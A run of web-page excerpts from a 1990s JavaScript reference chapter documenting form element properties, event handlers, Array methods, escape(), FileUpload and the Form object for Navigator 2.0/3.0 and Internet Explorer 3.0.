Previous Chapter 21
JavaScript Reference 		Next

Element.defaultValue Property

Name

Element.defaultValue Property---the default text displayed in an element

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

element.defaultValue

Description

The defaultValue property of a form element specifies the initial text that appears in the form element, and the value that is restored to that element when the form is reset. This property is only used by the Text, Textarea, and Password elements. It is not used by the FileUpload element for security reasons. For Checkbox and Radio elements the equivalent property is defaultChecked.

See Also

"Element", "Password", "Text", "Textarea"

Previous | Home | Next
Element.defaultChecked | Book Index | Element.focus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.focus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.focus() Method

Name

Element.focus() Method---give keyboard focus to a form element

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

element.focus()

Arguments

none

Returns

nothing

Description

The focus() method of a form element transfers keyboard focus to that element without calling the onfocus() event handler. That is, it makes the element the active one with respect to keyboard navigation and keyboard input. Thus, if you call focus() for a Text element, then any text the user types will appear in that text element. Or, if you call focus() for Button element, then the user will be able to invoke that button from the keyboard.

All form elements, except the Hidden element support the focus() method. Unfortunately, not all platforms support keyboard navigation equally well. In Navigator 2.0 and 3.0 for Unix platforms, the focus() method is only functional for those form elements that display text: Text, Textarea, Password and FileUpload.

See Also

"Element", "Element.blur()", "Element.onfocus()"

Previous | Home | Next
Element.defaultValue | Book Index | Element.form
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.form

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.form Property

Name

Element.form Property---the Form containing the element

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

element.form

Description

The form property of a form element is a read-only reference to the Form object that contains the specified element.

The form property allows the event handlers of one form element to easily refer to "sibling" elements in the same form. When an event handler is invoked, the this keyword refers to the form element for which it was invoked. Thus, an event handler can use the expression this.form to refer to the form that contains it. From there, it can refer to sibling elements by name, or it can use the elements[] array of the Form object to refer to them by number.

See Also

"Element", "Form"

Previous | Home | Next
Element.focus() | Book Index | Element.length
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.length

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.length Property

Name

Element.length Property--- see "Select.length"

Previous | Home | Next
Element.form | Book Index | Element.name
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.name

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.name Property

Name

Element.name Property---the name of a form element

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

element.name

Description

name is a read-only string property of every form element. The value of this property is set by the NAME attributes of the HTML <INPUT> tag that defines the form element.

The name of a form element is used for two purposes. First, it is used when the form is submitted. Data for each element in the form is usually submitted in the format:

name=value

where name and value are encoded as necessary for transmission. If a name is not specified for a form element, then the data for that element cannot be meaningfully submitted to a web server.

The second use of the name property is to refer to a form element in JavaScript code. The name of an element becomes a property of the form that contains the element. The value of this property is a reference to the element. For example, if address is a form that contains a text input element with the name zip, then address.zip refers to that text input element.

With Radio and Checkbox form elements, it is common to define more than one related object, each of which have the same name property. In this case, data is submitted to the server with this format:

name=value1,value2,...,valuen

Similarly, in JavaScript, each of the elements that shares a name becomes an element of an array with that name. Thus if four Checkbox objects in the form order share the name "options," then they are available in JavaScript as elements of the array order.options[].

Bugs

In Navigator 2.0, when multiple form elements are given the same name and placed in an array, they will only be placed in the array in the expected source order if they all define an event handler, even a dummy event handler that does nothing. If none of the elements define event-handlers, then they will be inserted into the array in reverse order. If some define event handlers and others don't, the order will be less predictable. In cases where array order actually matters, the workaround to this bug is to define dummy event handlers as needed.

See Also

"Element"

Previous | Home | Next
Element.length | Book Index | Element.onblur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.onblur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.onblur() Handler

Name

Element.onblur() Handler---invoked when a form element loses focus

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

element.onblur

Description

The onblur() event handler of a form element is invoked by the web browser when the user transfers keyboard focus away from that form element. Calling blur() to remove focus from an element does not invoke onblur() for that object. Note, however, that calling focus() to transfer focus to some other element will cause the onblur() event handler to be invoked for whatever element currently has the focus.

The onblur() event handler is a function defined through the onBlur attribute of the HTML tag that defined the form element. The value of this attribute is a string that may contain any number of JavaScript statements, separated by semicolons. In Navigator 3.0, the onblur() event handler may also be defined by assigning a function directly to the onblur property of an element.

The onblur() event handler is available for all form elements except the Hidden element. For Navigator 2.0 and 3.0 on Unix platforms, however, it is only invoked for the text-entry elements: Text, Textarea, Password and FileUpload. Note that in Navigator 3.0, the Window object also defines an onblur() event handler.

See Also

"Element",
"Element.onchange()",
"Element.onclick()",
"Element.onfocus()",

Previous | Home | Next
Element.name | Book Index | Element.onchange()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.onchange()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.onchange() Handler

Name

Element.onchange() Handler---invoked when a form element's value changes

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

element.onchange

Description

The onchange() event handler of a form element is invoked by the web browser when the user changes the value displayed by a form element. Such a change may be an edit to the text displayed in Text, Textarea, Password, or FileUpload elements, or the selection or deselection of an option in a Select element. Note that this event handler is only invoked when the user makes such a change--it is not invoked if a JavaScript program changes the value displayed by an element.

Also note that the onchange() handler is not invoked every time the user enters or deletes a character in a text-entry form element. onchange() is not intended for that type of character-by-character event handling. Instead, onchange() is invoked when the user's edit is complete. The user assumes that the edit is complete when keyboard focus is moved to some other element--for example, when the user clicks on the next element in the form.

The onchange() event handler is a function defined through the onchange attribute of the HTML tag that defined the form element. The value of this attribute is a string that may contain any number of JavaScript statements, separated by semicolons. In Navigator 3.0, the onchange() event handler may also be defined by assigning a function directly to the onchange property of a form element.

The onchange() event handler is not used by the Hidden element, or by any of the button elements. Those elements, Button, Checkbox, Radio, Reset, and Submit use the onclick() event handler instead.

See Also

"Element",
"Element.onblur()",
"Element.onclick()",
"Element.onfocus()"

Previous | Home | Next
Element.onblur() | Book Index | Element.onclick()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.onclick()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.onclick() Handler

Name

Element.onclick() Handler---invoked when a form element is clicked

Availability

Navigator 2.0, Internet Explorer 3.0; enhanced in Navigator 3.0

Synopsis

element.onclick

Description

The onclick() event handler of a form element is invoked by the web browser when the user clicks on the element. Note, however, that it is not invoked when JavaScript calls the click() method of an element.

The onclick() event handler is a function defined through the onClick attribute of the HTML tag that defined the form element. The value of this attribute is a string that may contain any number of JavaScript statements, separated by semicolons. In Navigator 3.0, the onclick() event handler may also be defined by assigning a function directly to the onclick property of an element.

Only form elements that are buttons invoke the onclick() event handler. These are the Button, Checkbox, Radio, Reset and Submit elements. Other form elements use the onchange() event handler instead of onclick().

Note that the Reset and Submit elements perform a default action when clicked: they reset and submit, respectively, the form that they are a part of. You can use the onclick() event handlers of each of these elements to perform actions in addition to these default actions. In Navigator 3.0, you can also prevent these default actions from occurring by returning false. That is, if the onclick() handler of a Reset button returns false, then the form will not be reset, and if the onclick() handler of a Submit button returns false, then the form will not be submitted. Note that you do similar things with the onsubmit() and onreset() event handlers of the Form object itself.

Finally, note that Link object also defines an onclick() event handler.

See Also

"Element",
"Element.onblur()",
"Element.onchange()",
"Element.onfocus()"

Previous | Home | Next
Element.onchange() | Book Index | Element.onfocus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Array.length

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Array.length Property

Name

Array.length Property---the size of an array

Availability

Navigator 3.0, Internet Explorer 3.0

Synopsis

array.length

Description

The length property of an array is always one larger than the highest element defined in the array. For traditional "dense" arrays that have contiguous elements and begin with element 0, the length property specifies the number of elements in the array.

The length property of an array is initialized when the array is created with the Array() constructor method. Adding new elements to an array updates the length, if necessary:

a = new Array();    a.length initialized to 0
b = new Array(10);  b.length initialized to 10
c = new Array("one", "two", "three");   c.length initialized to 3
c[3] = "four";  c.length updated to 4
c[10] = "blastoff"; c.length becomes 11

Note that all JavaScript objects can be used as arrays, but only those created with the Array() constructor have an automatically created and updated length property.

You can set the value of the length property to change the size of an array. If you set length to be smaller than its previous value, then the array will be truncated, and elements at the end will be lost. If you set length to be larger than its previous value, then then the array will become bigger, and the new elements added at the end of the array will have the special JavaScript undefined value.

Usage

The Array() constructor and length field were added to JavaScript in Navigator 3.0. Some Navigator 2.0 programs attempt to simulate a length field by setting it in the array constructor methods they write. Note, however, that the length field is not automatically updated as elements are added to the array. Nor can it grow or shrink the array when its value is set.

See Also

"Array", Chapter 8, Arrays

Previous | Home | Next
Array.join() | Book Index | Array.reverse()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.onfocus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.onfocus() Handler

Name

Element.onfocus() Handler---invoked when a form element gains focus

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

element.onfocus

Description

The onfocus() event handler of a form element is invoked by the web browser when the user transfers the keyboard focus to that element. Note that it is not invoked when focus is programmatically transfered with the focus() method.

The onfocus() event handler is a function defined through the onFocus attribute of the HTML tag that defined the element. The value of this attribute is a string that may contain any number of JavaScript statements, separated by semicolons. In Navigator 3.0, the onfocus() event handler may also be defined by assigning a function directly to the onfocus property of the element.

The onfocus() event handler is available for all form elements except the Hidden element. For Navigator 2.0 and 3.0 on Unix platforms, however, it is only invoked for the text-entry elements: Text, Textarea, Password and FileUpload. Note that in Navigator 3.0, the Window object also defines an onfocus() event handler.

See Also

"Element",
"Element.onblur()",
"Element.onchange()",
"Element.onclick()"

Previous | Home | Next
Element.onclick() | Book Index | Element.options[]
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.options[]

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.options[] Property

Name

Element.options[] Property--- see "Select.options[]"

Previous | Home | Next
Element.onfocus() | Book Index | Element.select()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.select()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.select() Method

Name

Element.select() Method---select the text in form element

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

element.select()

Arguments

none

Returns

nothing

Description

The select() method selects the text displayed in a Text, Textarea, Password, or FileUpload element. The effects of selecting text may vary from platform to platform, but typically invoking this method produces the same effect as if the user had dragged the mouse across all the text in the specified Text object. On most platforms, this produces the following effects:

  • The text is highlighted, often displayed with colors reversed.

  • If the text remains selected the next time the user types a character, then the selected text will be deleted and replaced with the newly typed character.

  • The text becomes available for cut-and-paste.

The user can usually deselect text by clicking in the Text object or by moving the cursor. Once deselected, the user can add and delete individual characters without replacing the entire text value.

Usage

Selecting a string in a Text object like this can be useful when you want to allow the user to accept the string as it is or to replace it entirely and enter a new value from scratch.

Bugs

On Unix platforms in Navigator 2.0 and 3.0, the select() method only works for the Text element, and not for the Textarea, Password or FileUpload elements.

See Also

"Element"

Previous | Home | Next
Element.options[] | Book Index | Element.selectedIndex
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.selectedIndex

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.selectedIndex Property

Name

Element.selectedIndex Property--- see "Select.selectedIndex"

Previous | Home | Next
Element.select() | Book Index | Element.type
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.type

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.type Property

Name

Element.type Property---the type of a form element

Availability

Navigator 3.0

Synopsis

element.type

Description

type is a read-only string property of all form elements. It specifies the type of the form element. The value of this property for each possible form element is given in the table below.

Note that the Select element has two possible type values, depending on whether it allows single or multiple selection. Also note, that unlike all other element properties, type is not available in Navigator 2.0 or Internet Explorer 3.0.

Object Type | HTML Tag | type Property
Button | <INPUT TYPE=button> | "button"
Checkbox | <INPUT TYPE=checkbox> | "checkbox"
FileUpload | <INPUT TYPE=file> | "file"
Hidden | <INPUT TYPE=hidden> | "hidden"
Password | <INPUT TYPE=password> | "password"
Radio | <INPUT TYPE=radio> | "radio"
Reset | <INPUT TYPE=reset> | "reset"
Select | <SELECT> | "select-one"
Select | <SELECT MULTIPLE> | "select-multiple"
Submit | <INPUT TYPE=submit> | "submit"
Text | <INPUT TYPE=text> | "text"
Textarea | <TEXTAREA> | "textarea"

See Also

"Element"

Previous | Home | Next
Element.selectedIndex | Book Index | Element.value
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.value

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.value Property

Name

Element.value Property---value displayed or submitted by a form element

Availability

Navigator 2.0, buggy in Internet Explorer 3.0

Synopsis

element.value

Description

value is a read/write string property of all form elements. It specifies the value that is displayed by the form element and/or submitted for the element when the form is submitted. The value property of the Text element, for example, is the user's input, which is also the value submitted with the form. For the Checkbox object, on the other hand, the value property specifies a string that is not displayed, but which will be submitted with the form if the Checkbox element is checked when the form is submitted.

The initial value of the value property is specified by the VALUE attribute of the HTML tag that defines the form element.

For Button, Submit, and Reset objects, the value property specifies the text to appear within the button. On some platforms, changing the value property of these elements will actually change the text displayed by the buttons on-screen. This does not work on all platforms, however, and is not an advisable technique because changing the label of a button may change the size of the button, and cause it to overlap and obscure other portions of the document.

The Select element has a value property, like all form elements, but does not use it. Instead, the value submitted by this element is specified by the value property of the Option objects it contains.

In Navigator 2.0 and Internet Explorer 3.0, the value property of the Password object is nonfunctional for security purposes. It can be read and written, but this has no bearing on the value entered by the user, or submitted with the form. In Navigator 3.0, when the data-tainting security model is enabled, the value property does actually contain the user's input to this element.

A limitation of Internet Explorer 3.0 only allows strings to be assigned to the value property of HTML form elements. If you want to assign objects to this property, you must explicitly convert them to strings by, for example, adding the empty string to them. Thus, to display the current date and time in a text field, Internet Explorer would require code like this:

var today = new Date();
document.forms[0].elements[1].value = "" + today;

Bugs

Internet Explorer 3.0 does not automatically convert objects to strings when they are assigned to this property; you must explicitly perform that conversion yourself.

See Also

"Element", "Element.name"

Previous | Home | Next
Element.type | Book Index | Embed
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Embed

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Embed Object

Name

Embed Object---see "Document.embeds[]" and "JavaObject"

Previous | Home | Next
Element.value | Book Index | escape()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: escape()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

escape() Function

Name

escape() Function---encode a string for transmission

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

escape(s)

Arguments

s

The string that is to be "escaped" or encoded.

Returns

An encoded copy of s.

Description

The escape() function is a built-in part of JavaScript; it is not a method of any object.

escape() creates and returns a new string that contains an encoded version of s. The string s itself is not modified.

The string is encoded as follows: all spaces, punctuation, accented characters, and any other characters that are not ASCII letters or numbers are converted to the form %xx, where xx is two hexadecimal digits that represent the ISO-8859-1 (Latin-1) encoding of the character. For example, the ! character has the Latin-1 encoding of 33, which is 21 hexadecimal, so escape() replaces this character with the sequence %21. Thus the expression:

escape("Hello World!");

yields the string:

Hello%20World%21

The purpose of the escape() encoding is to ensure that the string is portable to all computers, and transmittable across all networks, regardless of the character encodings the computers or networks support (as long as they support ASCII, however).

The encoding performed by escape() is like the standard URL-encoding used to encode query strings and other portions of a URL that might include spaces, punctuation, or characters outside of the standard ASCII character set. The only difference is that in the URL encoding, spaces are replaced with a `+' character, while escape() replaces spaces with the %20 sequence.

Usage

Use the unescape() function to decode a string encoded with escape().

A common use of escape() is to encode cookie values, which have restrictions on the punctuation characters they may contain. See "Document.cookie".

See Also

"String", "unescape()"

Previous | Home | Next
Embed | Book Index | eval()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: eval()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

eval() Function

Name

eval() Function---execute JavaScript code from a string

Availability

Navigator 2.0, Internet Explorer 3.0; changed in Navigator 3.0

Synopsis

eval(code)

Arguments

code

A string that contains the JavaScript expression to be evaluated or the statements to be executed.

Returns

The value of the evaluated code, if any.

Description

The eval() function of Navigator 2.0 has been changed to a method of Object in Navigator 3.0. See "Object.eval()" for complete details.

See Also

"Object.eval()"

Previous | Home | Next
escape() | Book Index | FileUpload
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: FileUpload

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

FileUpload Element

Name

FileUpload Element---a file upload field for form input

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

form.name
form.elements[i]

Properties

form

A read-only reference to the Form object that contains the FileUpload element.

name

A read-only string, set by the HTML NAME attribute, that specifies the name of the FileUpload element. This is also the element_name that can be used to reference the FileUpload element as a property of its form.

type

A read-only string that specifies the type of this form element. For FileUpload elements, it has the value "file." Available in Navigator 3.0 and later.

value

A read-only string that specifies the value contained in the input field (which is also the value sent to the server when the form is submitted.) In Navigator 2.0, this field is always blank. In Navigator 3.0 any filename specified by the user may be read, but the property still may not be set.

Methods

blur()

Remove the keyboard focus from the FileUpload element.

focus()

Set the keyboard focus to the FileUpload element. When focus is set, all keystrokes are automatically entered into this element.

select()

Highlight all the text in the FileUpload element, and enter a special mode so that future input replaces the highlighted text.

Event Handlers

onblur()

Invoked when a user action causes the FileUpload element to lose the keyboard focus.

onchange()

Invoked when the user changes the value in the FileUpload element and moves the keyboard focus elsewhere. This event handler is not invoked for every keystroke in the FileUpload element, but only when the user completes an edit.

onfocus()

Invoked when a user action causes the FileUpload element to gain the keyboard focus.

HTML Syntax

A FileUpload element is created with a standard HTML <INPUT> tag, with the addition of optional attributes for event handlers:

<FORM ENCTYPE="multipart/form-data"
      METHOD=post>   required attributes
    ...
  <INPUT
    TYPE"file"  specifies that this is a FileUpload element
    [ NAME="name" ]   a name that can later be used to refer to this element
    specifies the name property
    [ SIZE=integer ]  how many characters wide the element is
    [ MAXLENGTH=integer ] max allowed number of input characters
    [ onBlur="handler" ]  the onblur() event handler
    [ onChange="handler" ]    the onchange() event handler
    [ onFocus="handler" ] the onfocus() event handler
  >
    ...

Description

The FileUpload element represents a file upload input element in a form. In many respects, this input element is much like the Text element. On the screen, it appears like a text input field, with the addition of a Browse... button that opens a directory browser. Entering a filename into a FileUpload element (either directly or through the browser) will cause Netscape to submit the contents of that file along with the form. For this to work, the form must use "multipart/form-data" encoding and the POST method.

The FileUpload element does not have a defaultValue property, and does not recognize the VALUE HTML attribute to specify an initial value for the input field. Similarly, the value property of the FileUpload element is read-only. Only the user may enter a filename; JavaScript may not enter text into the FileUpload field in any way. This is to prevent malicious JavaScript programs from uploading arbitrary files (such as password files) off of the user's machine.

See Also

"Element", "Form", "Text"

Previous | Home | Next
eval() | Book Index | FileUpload.blur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Array.reverse()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Array.reverse() Method

Name

Array.reverse() Method---reverse the elements of an array

Availability

Navigator 3.0

Synopsis

array.reverse()

Arguments

None.

Returns

Nothing.

Description

The reverse() method of an Array object reverses the order of the elements of an array. It does this "in place"--i.e., it rearranges the elements of the specified array, without creating a new array. If there are multiple references to array, then the new order of the array elements will be visible through all references.

Example

a = new Array(1, 2, 3); a[0] == 1, a[2] == 3;
a.reverse();    now a[0] == 3, a[2] == 1;

See Also

"Array", "Array.sort()"

Previous | Home | Next
Array.length | Book Index | Array.sort()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: FileUpload.blur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

FileUpload.blur() Method

Name

FileUpload.blur() Method--- see "Element.blur()"

Previous | Home | Next
FileUpload | Book Index | FileUpload.focus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: FileUpload.focus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

FileUpload.focus() Method

Name

FileUpload.focus() Method--- see "Element.focus()"

Previous | Home | Next
FileUpload.blur() | Book Index | FileUpload.form
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: FileUpload.form

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

FileUpload.form Property

Name

FileUpload.form Property--- see "Element.form"

Previous | Home | Next
FileUpload.focus() | Book Index | FileUpload.name
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: FileUpload.name

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

FileUpload.name Property

Name

FileUpload.name Property--- see "Element.name"

Previous | Home | Next
FileUpload.form | Book Index | FileUpload.onblur()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: FileUpload.onblur()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

FileUpload.onblur() Handler

Name

FileUpload.onblur() Handler--- see "Element.onblur()"

Previous | Home | Next
FileUpload.name | Book Index | FileUpload.onchange()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: FileUpload.onchange()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

FileUpload.onchange() Handler

Name

FileUpload.onchange() Handler---invoked when input value changes

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

<INPUT TYPE=file
       onChange="handler-statements"...>   a definition of the handler
fileupload.onchange   a reference to the handler
fileupload.onchange();    an explicit invocation of the handler

Description

The FileUpload.onchange() event handler is defined by the onChange attribute of the <INPUT> HTML tag that defines the FileUpload object. The value of this attribute may be any number of JavaScript statements, separated by semicolons; these statements will be executed whenever the user changes the value in the input field and then "commits" those changes by moving keyboard focus elsewhere (i.e., by clicking the mouse elsewhere or by typing the Tab or Return keys). This handler is intended to process a complete change to the input value, and therefore is not invoked on a keystroke-by-keystroke basis.

Note that in Navigator 2.0, the user's input into a FileUpload object is entirely hidden from JavaScript, so the onchange() event handler is of limited use. In Navigator 3.0, the FileUpload.value property may be read but not written.

See Also

"FileUpload",
"FileUpload.blur()",
"FileUpload.focus()",
"FileUpload.onblur()"

Previous | Home | Next
FileUpload.onblur() | Book Index | FileUpload.onfocus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: FileUpload.onfocus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

FileUpload.onfocus() Handler

Name

FileUpload.onfocus() Handler--- see "Element.onfocus()"

Previous | Home | Next
FileUpload.onchange() | Book Index | FileUpload.select()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: FileUpload.select()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

FileUpload.select() Method

Name

FileUpload.select() Method--- see "Element.select()"

Previous | Home | Next
FileUpload.onfocus() | Book Index | FileUpload.type
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: FileUpload.type

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

FileUpload.type Property

Name

FileUpload.type Property---see "Element.type"

Previous | Home | Next
FileUpload.select() | Book Index | FileUpload.value
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: FileUpload.value

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

FileUpload.value Property

Name

FileUpload.value Property---filename selected by the user

Availability

Navigator 3.0

Synopsis

fileupload.value

Description

value is a read-only string property of the FileUpload object. It specifies the filename entered by the user into the FileUpload object. The user may enter a filename either by typing it directly or by using the directory browser associated with the FileUpload object.

To prevent malicious programs from uploading arbitrary files from the client, this property may not be set by JavaScript code. Similarly, the VALUE attribute of the <INPUT> tag does not specify a default value for this property.

In Navigator 2.0, reading the value property will always return the empty string.

See Also

"FileUpload"

Previous | Home | Next
FileUpload.type | Book Index | focus()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Array.sort()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Array.sort() Method

Name

Array.sort() Method---sort the elements of an array

Availability

Navigator 3.0

Synopsis

array.sort()
array.sort(orderfunc)

Arguments

orderfunc

An optional function used to specify the sorting order.

Returns

Nothing.

Description

The sort() method sorts the elements of array in place--i.e., no copy of the array is made. If sort() is called with no arguments, then the elements of the array are arranged in alphabetical order (more precisely: the order determined by the character encoding). To do this, elements are first converted to strings, if necessary, so that they can be compared.

If you want to sort the array elements in some other order, you must supply a comparison function that compares two values and returns a number indicating their relative order. The comparison function should take two arguments, a and b, and should:

  • Return a value less than zero if, according to your sort criteria, a is "less than" b, and should appear before b in the sorted array.

  • Return zero if a and b are equivalent for the purposes of this sort.

  • Return a value greater than zero if a is "greater than" b for the purposes of the sort.

The example section shows how you might write a comparison function to sort an array of numbers in numerical, rather than alphabetical order.

Example

The following code shows how you can write an ordering function and use it to sort an array:

// An ordering function for a numerical sort
function numberorder(a, b) { return a - b; }
a = new Array(33, 4, 1111, 222);
a.sort();             // Alphabetical sort:  1111, 222, 33, 4
a.sort(numberorder);  // Numerical sort: 4, 33, 222, 1111

See Also

"Array", "Array.reverse()"

Previous | Home | Next
Array.reverse() | Book Index | assign()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: focus()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

focus() Method

Name

focus() Method---see "Window.focus()"

Previous | Home | Next
FileUpload.value | Book Index | Form
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Form

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Form Object

Name

Form Object---an HTML input form

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

document.form_name
document.forms[form_number]
document.forms.length

Properties

action

A read/write string specifying the URL to which the form is to be submitted. Initially specified by the ACTION attribute.

elements[]

An array of input elements that appear in the form. Each element is a Button, Checkbox, Hidden, Password, Radio, Reset, Select, Submit, Text, or Textarea object.

elements.length

The number of items in the elements[] array.

encoding

A read/write string that specifies the encoding method used for form data. Initially specified by the ENCTYPE attribute. The default encoding of "application/x-www-form-urlencoded" is almost always appropriate.

method

A read/write string that specifies the technique for submitting the form. It should have the value "get" or "post". Initially specified by the METHOD attribute.

target

A read/write string that specifies the name of the frame or window in which the results of submitting a form should be displayed. Initially specified by the TARGET attribute. The special names "_top", "_parent", "_self", and "_blank" are also supported for the target property and the TARGET attribute.

Methods

reset()

Reset each of the input elements of the form to their default values.

submit()

Submit the form.

Event Handlers

onreset()

An event handler invoked just before the elements of the form are reset. Specified by the onReset attribute.

onsubmit()

An event handler that is invoked just before the form is submitted. Specified by the onSubmit attribute. This event handler allows form entries to be validated before being submitted.

HTML Syntax

A Form object is created with a standard HTML <FORM> tag. JavaScript adds the optional onReset and onSubmit event-handler attributes to this tag. The form contains any input elements created with the <INPUT> tag between <FORM> and </FORM>.

<FORM
    [ NAME="form_name" ]  used to name the form in JavaScript
    [ TARGET="window_name" ]  the name of the window for responses
    [ ACTION="url" ]  the URL to which the form is submitted
    [ METHOD=(GET|POST) ]   the method of form submission
    [ ENCTYPE="encoding" ]    how the form data is encoded
    [ onReset="handler" ] a handler invoked when form is reset
    [ onSubmit="handler" ]    a handler invoked when form is submitted
>
    form text and <INPUT> tags go here
</FORM>

Description

The Form object represents an HTML <FORM> in a document. Each form in a document is represented as an element of the Document.forms[] array. Named forms are also represented by the form_name property of their document, where form_name is the name specified in the NAME attribute of the <FORM> tag.

